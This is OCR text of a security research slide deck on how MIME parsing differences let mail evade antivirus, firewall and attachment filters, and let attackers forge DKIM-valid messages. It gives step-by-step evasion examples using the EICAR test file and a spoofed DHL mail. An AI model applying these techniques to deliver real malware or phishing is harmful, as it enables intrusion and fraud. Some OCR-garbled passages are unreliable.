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motivation of research

Supposed to follow standards of application protocols and formats
when implementing content analysis. But ...

» typical standards are unecessary flexible and complex
* leave too much room for creative interpretation:
- underspecified in edge cases
- undefined handling of protocol errors
- SHOULD vs MUST
- partly conflicting with previous standards
+ this conflicts with security
- different implementations have different interpretations in edge cases

- attackers can use this to
feed analysis system with seemingly harmless content
but letting the final target eat the malicious payload

‘genua.
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focus of research

MIME is standard for ,,rich” mail: structured, binary attachments, non-ASCII characters.
Using interpretation differences with MIME to bypass security systems

* analysis in mail filter, firewall, IDS, antivirus, ...
vs. interpretation by mail user agent or web frontend

* bypass malware detection by content

HTTP/1.1 keep-alive, desynchronized

Front-end Back-end
using EICAR test virus, but results relevant for URL detection too -
» " - _r’
* bypass attachment filtering by file name @—'m“—’ N |

Similar to research for HTTP/1

* Targeting servers
HTTP desync attacks (popularized by portswigger, 2019)

+ Targeting clients

Bypassing majority of application firewalls with unexpected responses
(http-evader, 2015 - fully automated test suite)

Research was done primarily in 2015..2018 (but recently updated)
in context of BMBF sponsored research project APT-Sweeper
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research method

script based generation of lots of test cases with many variations
* 372 mails for bypassing content analysis

+ 176 mails for bypassing extension blocking Cewas |
G2 Get Messages v # Write Q) Chat {@Address Book ® Tagv __‘?QuickFiIter
° exported as ﬁles, maildir’ pcap % | AUnread tyStarred @Contact ©Tags [ Attachment O Filter these messaqes <Ctrl+Shift+K>

Ttk O e @ Subject
° 0] rfc822- i i b64h-basic-b, 4-mi eicar.zip 2018-08-30 13:31

£ Search <Ctrl+K>

a

[0] multi.uuencode eicar.zip 2018-08-30 13:31
w ¢ d [0] multi.yenc eicar.zip 2018-08-30 13:31
[0] multipart-basic-singlepart-b64_HB_delim-2x_vt_nl-mixedlen eicar.zip 2018-08-30 13:31
[0] multipart-basic-singlepart-b64_HB_delim-4B_nl-mixedlen eicar.zip 2018-08-30 13:31
[0] multipart-basic-singlepart-b64_HB_delim-4)B_4)B_nl-mixedlen eicar.zip 2018-08-30 13:31
[0] multipart-basic-singlepart-b64_HB_delim-4)B_nl-mixedlen eicar.zip 2018-08-30 13:31
[0] multipart-basic-singlepart-b64_HB_delim-4)B_nonl-mixedlen eicar.zip 2018-08-30 13:31
[0] multipart-basic-singlepart-b64_HB_delim-4)B_wsnl-mixedlen eicar.zip 2018-08-30 13:31
[0] multipart-basic-singlepart-b64_HB_delim-JB=_nl-mixedlen eicar.zip 2018-08-30 13:31
[0] multipart-basic-singlepart-b64_HB_delim: nl-mixedlen eicar.zip 2018-08-30 13:31

semi-automatic analysis of

* mail user agents
Thunderbird, Outlook, Apple Mail, mutt, ...

* antivirus, mail filters - standalone and within SMTP
ClamAV, amavisd-new, ...

_sing
[0] multipart-b: i t-b64_HB_delil _nl_junkB. eicar.zip 2018-08-30 13:31
[0] multipart-basic-sil t-b64_HB_deli i eicar.zip 2018-08-30 13:31

[0] multipart-basic-sil t-b64_HB_deli pace_nl-mi eicar.zip 2018-08-30 13:31

[0] multipart-basic-singlepart-b64_HB_delim-tab_nl-mixedlen eicar.zip 2018-08-30 13:31

[0] multipart-basic-singlepart-b64_HB_delim-vt_nl-mixedlen eicar.zip 2018-08-30 13:31

[0] multipart-basic-singlepart-b64h-64 |_ws_gp-mi: eicar.zip 2018-08-30 13:31

From me <> [ 7 KepIy[| ~ FOIWaru [ S ATCHIVE | © JUNK|| @ DeleLe ][ vore ™~

0
0
1]
0
0
1]
0
0
0
0
0
1]
0
0
1]
0

Subject [0] multipart-basic-singlepart-b64_HB_delim-|B=]B=_nl-mixedlen eicar.zip 2018-08-30 13:31

* IDS, Firewall owo
suricata, snort3, major FW h

* libraries
Perl MIME::Tools, Golang mime/multipart, ISy L N
Python email.parser
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what is MIME

In the beginning ...
* ASCIl only, maximum line length 1000 bytes

Enter MIME RFC 2045-2048 (1996) - serialization within the original limits
*  Multipurpose Internet Mail Extension
» encoding of non-ASCIl characters and binary data in body and header fields
* encoding of structure: MIME parts with various types and relations
+ flexible, complex, underspecified, lots of room for creative interpretation, ...

Later (1997)

« RFC 2183: Content-Disposition
context for MIME parts: inline|attachment, filename, date ...

« RFC 2231: long non-ASCIl parameter values like for filename
different encoding for unstructured (RFC2047) and structured (RFC2231) fields
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MIME by example

Viele GruBe RFC 2046
From: me@exampl n Serializing structure, MIME parts
om: megexanpLle.co ¢ multipart/...; boundary=
To: you@example.com Content-type: ...; name=
Subject: Viele =?UTF-8?Q?Gr=C3=BC=C3=9Fe?= S
Content-type: multipart/mixed; hidden
boundary=foobar ‘;““‘* RFC:2045. .
Encoding binary, characters in body

Content-Transfer-Encoding: base64 | quoted-printable
Content-type: ...; charset=

- -foobar
Content-type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable PN RFC 2047
GraBe Encoding characters in header
Viele Gr=C3=BC=C3=9Fe von mir. base64 | quoted-printable
- -foobar charset
Content-type: application/octet-stream;
name=test. txt
ConFent-Disposition: attachment; Egﬁiggﬁiisposnjon
filename*0*=utf-8''%c3%bcbel.e; = o exe inline | attachment; filename=
filename*1=xe = SR
Content-Transfer-Encoding: base64 RFC 2231

TVqQ. . .VGhpcyBwcm9ncmFtIGNhbm5vdCBi. .. Encoding characters in parameter
charset, language

--foobar- - ? URL encoding of non-ASCII
split long parameter values

MZ..This program cannot be run in DOS mode...




bypass content analysis
selected examples
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conflicting Content-Transfer-Encoding |

Content-Transfer-Encoding: baseé64
Content-Transfer-Encoding: quoted-printable

Zm9vYmFy(Cg==

first field

Thunderbird, Outlook, Apple Mail
ClamAV, amavisd-new, surteata,
shoefrt3, FW

MIME::Tools, mime/multipart,
email.parser

Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: base64

Zm9vYmFy(Cg==
last field
mutt

ClamAV, amavisd-new, suricata,
shoert3, FW
ematparser

1
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conflicting Content-Transfer-Encoding Il

Content-Transfer-Encoding: Content-Transfer-Encoding:

base64, quoted-printable quoted-printable, base64
Zm9vYmFyCg== Zm9vYmFyCg==
first field element last field element no encoding
Thunderbird, mutt Outlook, Apple Mail
ClamAV, amavisd-new, ClamAV, amavisd-new,
suricata?l, spert3, FW suricata?l, spert3, FW

! base64 fine, but fails to completely decode and analyze quoted-printable for files

12
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conflicting multipart boundary |

Content-Type: multipart/mixed; boundary=bar
Content-Type: multipart/mixed; boundary=foo

--foo
--bar
Content-type: text/plain

foobar
--bar--
--foo--

first field
Thunderbird, Outlook, Apple Mail

ClamAY, amavisd-new, suricata,
snort3, FW

MIME::Tools, mime/multipart,
email.parser

‘genua.

Content-Type: multipart/mixed; boundary=foo
Content-Type: multipart/mixed; boundary=bar

--foo
--bar
Content-type: text/plain

foobar
--bar--
--foo--

last field
mutt

ClamAV, amavsd-rew, suricata,
shofrt3, FW
ematkparser

13
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conflicting multipart boundary Il

Content-Type: multipart/mixed;
boundary=bar; boundary=foo

--foo
--bar
Content-type: text/plain

foobar
--bar--
--foo--

first field
Thunderbird, Outlook, mutt

ClamAV, amavisd-nrew, suricata,
short3, FW
MIME::Tools, mime/multipart,

email.parser

Content-Type: multipart/mixed;
boundary=foo; boundary=bar

--foo

--bar

Content-type: text/plain
foobar

--bar--
--foo--

last field

Apple Mail

ClamAY, amavisd-new, suricata,

shert3, FW
MIME::Tools, mirmefmultipart,
emat-parser

‘genua.

14
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padding in the middle of base64

Content-Transfer-Encoding: base64 <

ZmovYg==
YXI=

*‘
o
O
o

mutt

<+——— foob (2 bytes padding)

-« ar (1 byte padding)
foobar foob<garbage>
Thunderbird, Outlook
Apple Mail
ClamAY,

amavisd-new,
. e ’
email.parser

‘genua.

converting 3 bytes binary
to 4 bytes ASCII

less than 3 bytes

- padding with ,,="

RFC 2045 section 6.8

Because it is used only for
padding at the end of the
data, the occurrence of any
"=" characters may be
taken as evidence that the
end of the data has been
reached

15
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encoding YEnc - historic greetings from usenet news

Content-Transfer-Encoding: x-yencode

=ybegin line=128 size=51 name=file.bin
nearly binary stuff ...
=yend size=51

not encoded yEnc encoded
Outlook, Apple Mail, Thunderbird
mutt

ClamAY, amavisd-new,
suricata, shork3, FW
MIME—-Tools,

. e ’
emat-parser

https://en.wikipedia.org/wiki/YEnc

There is no RFC or other standards
document describing yEnc. The
yEnc homepage contains a draft
informal specification and a
grammar (which contradict RFC
2822 and RFC 2045), although
neither has been submitted to the
Internet Engineering Task Force.

16
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encoding uuencode - from a world before MIME

Content-Transfer-Encoding: x-uuencode

begin 644 file.bin
MO4)#1'DP,3(S-#TU-C<X.2 @.3@W-C4]-#,R,3°@/2" ]16%D@4V]IM92!M;W)E

&('1E>'0*

end

not encoded uuencode encoded
Apple Mail, mutt Thunderbird?!, Outlook?

ClamAV3, amavisd-new?, suricata, snort32, FW*
MIME::Tools, mimetmultipart, email.parser?

1 Also ,x-uue” and ,uuencode”, with begin/end and without

2 Also ,,uuencode”, ,end” can be skipped

3 Also ,,x-uue” and ,uuencode”, only ,end” can be skipped

4 all variations

> also ,uue” and ,x-uue” and ,uuencode”, but both begin and end are required 17
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comments in wild places

Content-Type: multipart/mixed;
boundary=(boundary=foo)bar

- -bar

boundary ,bar*

Outlook

ClamAV, amavisd-nrew,
suricata, shert3, FW
MIME--Tools,

email.parser

no clue

Thunderbird, Apple Mail,
mutt

‘genua.

RFC 2822 section 3.2.3:

... There are several
places in this standard
where comments and
FWS may be freely
inserted ...

18



bypass filtering filename
selected examples
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filename for attachments - RFC2231
Contgnt-Dlspo§1t10n: attachment; REC 2231
filename=file.png;
filename*1=zip; filename*0=file. .... the mechanism
MUST NOT depend on
: : : parameter ordering
file.zip file.png since MIME states that
parameters are not
Thunderbird3, Apple Mail, mutt? Outlook?!, mutt2 order sensitive.

amavisd-new, suricata, shert3, FW
MIME::Tools, mime/multipart,
email.parser

1 does not implement RFC2231 at all
2 RFC2231 name does not take preference,
will recognize RFC2231 if plain filename is not given,
will even recognize if indices don't start with 0 and have gaps
3 supports RFC2231 even for boundary parameter in Content-Type
20
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filename for attachments - RFC2047

Content-Disposition: attachment;

. " .. " RFC 2047 section 5
filename="=?us-ascii1?B?ZmlsZS56axA=?=

* An 'encoded-word'

MUST NOT appear
file.zip =?2us-ascii?B>?... within a 'quoted-string'.
» An 'encoded-word"
Thunderbirdl, Outlook?, mutt MUST NOT be used in

parameter of a MIME

Apple Mail> Content-Type or
Content-Disposition
amavisd-news3, suricata, field, or in any
spoert3, FW/BEWAL structured field body
MIME::Tools3, except within a
mimefmultipart ‘comment' or 'phrase’.

email.parser?

1 no UTF-16* Z2also UTF-16LE, no UTF-16BE 3 no UTF-16LE, but UTF-16BE

Also: MS-Exchange wrongly transforms filename from RFC2231 to quoted RFC2047 o



applying knowledge to
bypass most antivirus
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step by step bypass vscan virustotal - | (ground truth)

From: me@example.com

To: you@example.com

Subject: plain

Content-type: multipart/mixed; boundary=foo

--foo
Content-type: text/plain

Virus attached
--foo

Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64

AlYac

Avast

Avira (no cloud)

BitDefender

Clamay

Cyren

EICAR inside

UESDBBQAAQAIABFK]jkk8z1FoRgAAAEQAAAAJAAAAZWLjYXIuY29tizD1VwxQdXAMiDaJCYiKMDXR
CIjTNHd21jSvVXH1dHYMOgO0cTRzcQxyOXX0C/EMBwwKDAYNcQOOOXXz9HFVVPHQ9tACAFBLAQIU
AxQAAgATIABFKj kk8z1FoRgAAAEQAAAAJAAAAAAAAAAAAAAC2gQAAAABLaWNhci5jb21QSWUGAAAA

AAEAAQA3AAAADQAAAAAA
--foo--

‘genua.

@ EICAR-Test-File (not A Virus)

(1) EICAR Test-NOT Virus!l
@ Eicar-Test-Signature

(1) EICAR-Test-File (not A Virus)
(1) WinTest EICAR_HDB-1

(D) EicAR Test_File
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step by step bypass vscan virustotal - Il (conflicting CTE)

From: me@example.com

To: you@example.com

Subject: b64-64qp

Content-type: multipart/mixed; boundary=foo

--foo
Content-type: text/plain

Virus attached

--foo

Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: quoted-printable

UESDBBQAAQAIABFKjkk8z1FoRgAAAEQAAAAJAAAAZWLjYXTIuY29tizD1VwxQdXAMiDaJCYiKMDXR
CIjTNHd21jSvVXH1dHYMOgOO0cTfRzcQxyOXXOC/EM8wwKDAYNcQOOOXXz9HFVVPHQOtACAFBLAQIU
AxQAAgATIABFKj kk8z1FoRgAAAEQAAAAJAAAAAAAAAAAAAAC2gQAAAABLaWNhci5jb21QSWUGAAAA
AAEAAQA3AAAADQAAAAAA

--foo--

‘genua.

Order of CTE does
not matter much

(32)

Some antivirus
seems to apply
heuristics for
detecting base64

CTE XxXXX ( 12 ,

Switched
Order
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step by step bypass vscan virustotal - lll (chunked base64)

From: me@example.com

To: you@example.com

Subject: b64eq-64qgp

Content-type: multipart/mixed; boundary=foo

--foo
Content-type: text/plain

Virus attached

--foo

Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: quoted-printable

UEs=AwQ=FAA=AgA=CAA=EUo0=j kk=PM8=UWg=RgA=AAA=RAA=AAA=CQA=AAA=ZWk=Y2E=cid=
Y28=bYs=MPU=Vww=UHU=cAw=1DY=1Qk=1I10=MDU=0Qg=1NM=NHc=dtY=NK8=VXE=9XQ=dgw=
090=DnE=9HM=cQw=ctE=dfQ=C/E=DPM=DA0=DdY=DXE=DQ4=0XU=8/Q=cVU=VPE=0PY=0AI=
AFA=SwE=AhQ=AxQ=AAI=AAg=ABE=S04=STw=z1E=aEY=AAA=AEQ=AAA=AAk=AAA=AAA=AAA=
AAA=AAA=ALY=gQA=AAA=AGU=aWM=YXI=LmM=b20=UEs=BQY=AAA=AAA=AQA=AQA=NwA=AAA=
bQA=AAA=AAA=

--foo--

‘genua.

chunked base64
by its own, without
duplicate CTE

©
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step by step bypass vscan virustotal - IV (double boundary)

From: me@example.com

To: you@example.com

Subject: b64eq-64qp-bd:good,bd:bad
Content-type: multipart/mixed; boundary=foo
Content-type: multipart/mixed; boundary=bar

--foo
Content-type: text/plain

Virus attached

--foo

Content-type: application/zip; name=whatever.zip
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: quoted-printable

UEs=AwQ=FAA=AgA=CAA=EUo0=]j kk=PM8=UWg=RgA=AAA=RAA=AAA=CQA=AAA=ZWk=Y2E=cid=
Y28=bYs=MPU=Vww=UHU=cAw=1DY=1Qk=1I10=MDU=0Qg=1NM=NHc=dtY=NK8=VXE=9XQ=dgw=
09g0=DnE=9HM=cQw=ctE=dfQ=C/E=DPM=DA0o=DdY=DXE=DQ4=0XU=8/Q=cVU=VPE=0PY=0AI=
AFA=SwE=AhQ=AxQ=AAI=AAg=ABE=S04=STw=z1E=aEY=AAA=AEQ=AAA=AAk=AAA=AAA=AAA=
AAA=AAA=ALY=gQA=AAA=AGU=aWM=YXI=LmM=b20=UEs=BQY=AAA=AAA=AQA=AQA=NwA=AAA=
bQA=AAA=AAA=

--foo--

(]

File Edit View Go Message Tools Help
P Get Messages ¥ # Write CQChat [EAddress Book = © Tagv
From me@example.com¥¥ |l” bl "HLHL|

Subject plain

virus attacht

~ [ 1 attachment: whatever.zip 186 bytes \m Save |:‘

To ynu@example,cumﬁ

whatever.zip 186 bytes

Archive File Settings Help

[ Extract ~ [d Preview [ Open >

‘genua.

Without CTE
confusion

£%

eicarcom 68B 70B ‘

~ | Size Compress; %

whatever.zip




MIME vs. cryptography
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bypassing DKIM signatures with bad MIME - |

DKIM major part of DMARC phishing protection. Basic idea:
- outgoing mail server for domain signs mail header and body

- recipient can get public key from DNS and check signature
DKIM-Signature: .. d=domain; s=20140901 -> dig txt 20140901._domainkey.domain

- if signature valid and domain aligned (From: user@domain)
- DMARC pass, i.e. sender domain verified and not spoofed

* Broken standard and implementations

- no requirements which header fields should be protected,
only insufficient recommendations

- able to prevent critical header fields to be added by attacker,
but no actual requirement to do so

- implementations usually fail to protect critical headers

- ability to sign only part of body
warns of security problems, but nevertheless allows it
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bypassing DKIM signatures with bad MIME - Il

only part was signed, new data can be added after that

-

DKIM-Signature: v=1; 1=1850; d=dhl.com; s$=20140901; . . . .
h=date:from:to:message-id:subject:mime-version; only orginal date and to are included in signature
b=...;"bh=... signature takes fields from bottom, MUA from top

Date: Thu, 24 Sep 2017 19:08:23 +0800 (MYT)

Date: Thu, 14 Jan 2016 19:08:23 +0800 (MYT) . . .

From: DHL Customer Support <support@dhl.com> = From aligned with DKIM domain - DMARC pass

To: somebody@example.com

To: auftrag@original-company-not-shown

Message-ID: <9953648784.9145749@dh1l.com>

Message-ID: <1453648784.9145749.1452769703900.JavaMail...dh1l.com>

Subject: DHL Shipment Digest

MIME-Version: 1.0

Content-Type: multipart/mixed; boundary=BAD

Content-Type: multipart/mixed; boundary=----=_Part_9145747_2082645767.1452769703900

------ =_Part_9145747_2082645767.1452769703900
Content-type: text/plain

The real DHL Shipment Digest

------ =_Part_9145747_2082645767.1452769703900 : :
- -BAD - BAD boundary is active

-

Content-type: text/plain previous content treated as MIME preamble
- newly added unsigned content shown

This is a faked mail with valid DKIM signature from DHL.
--BAD- -

29
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bypassing DKIM signatures with bad MIME - Il

Original Message
DHL Shipment Digest ibax  «

(=]
changed Date
DHL Customer Support <suppori@dhl.com= 1208 PM (8 hours ago) - - Created at Sun, Sep 24, 2017 at 1:08 PM +:>g|i\.mu after 311481 seconds’ and Message.m
to knuert.hase, aufirag |« -
From: | DHL Customer Support <supporti@dnl com>
This ig a faked mail witt
L Custome <suppor@dhl.com>
bﬂd bﬂdy R G T Support <supporiE Sk To: knurm hase@outiook de. aufragd IR
knusrt hase@outiook de,
aufirac D — Subjecl: DHL Shipment Digest
-
[ Sun, Sep 24, 2017 at 1:08 PM ‘ SPF: PASS with [P 2303:4000:f 1a2:0:0:0:1 Leam mare
: DKIM, DMARC:
DL Shipment Digesst DKIM: PASS with domain dhl.com Leam more F"ASS
chiksum_de

= OMARC: PASS Leam more
| s \ < DKIM siill ok

o Standard encryption (TLS) Leam more
Download Original

Delivered-To: knurrt.hase@gmail.com
Received: by 18.28.129.16 with

id cl6csplBR13I2Twmd;
1786 (PDT)

https://noxxi.de/research/breaking-dkim-on-purpose-and-by-chance.html

30
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solutions?

Problems are hard to fix
« zillions of MIME implementations and scripts in the wild, often broken
* no ,monopoly” implementations to enforce quality, like we have with browsers

Blocking invalid and edge-cases cause unbearable collateral effects

* too much junk in real world which works sufficiently enough
(i.e. with a specific MUA in mind)

* operation beats security: , it worked before we installed the firewall”

Sanitizing (rewriting) content might cause problems with cryptographic signatures
* DKIM, PGP, S/MIME

Logging problems
* hope someone cares about logs

‘genua.
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customer story: but it worked w/o firewall

* customer complained that mail was blocked by firewall
mail was created by script, using uuencode --base64

Content-Transfer-Encoding: base64

begin-base64 644 file0l2.pdf
JVBERiOXxLjcNJelLjz9MNCjc2MiAwIG9iagO8PCOMaW51YXIpemVKIDEVTCA

* reason for blocking: invalid base64 characters
« worked before only, because
- invalid base64 characters are ignored by MUA

- 24 valid base64 characters are multiple of 4
and decode to 18 bytes junk prefixing the real PDF file

- leading junk will be ignored by PDF reader




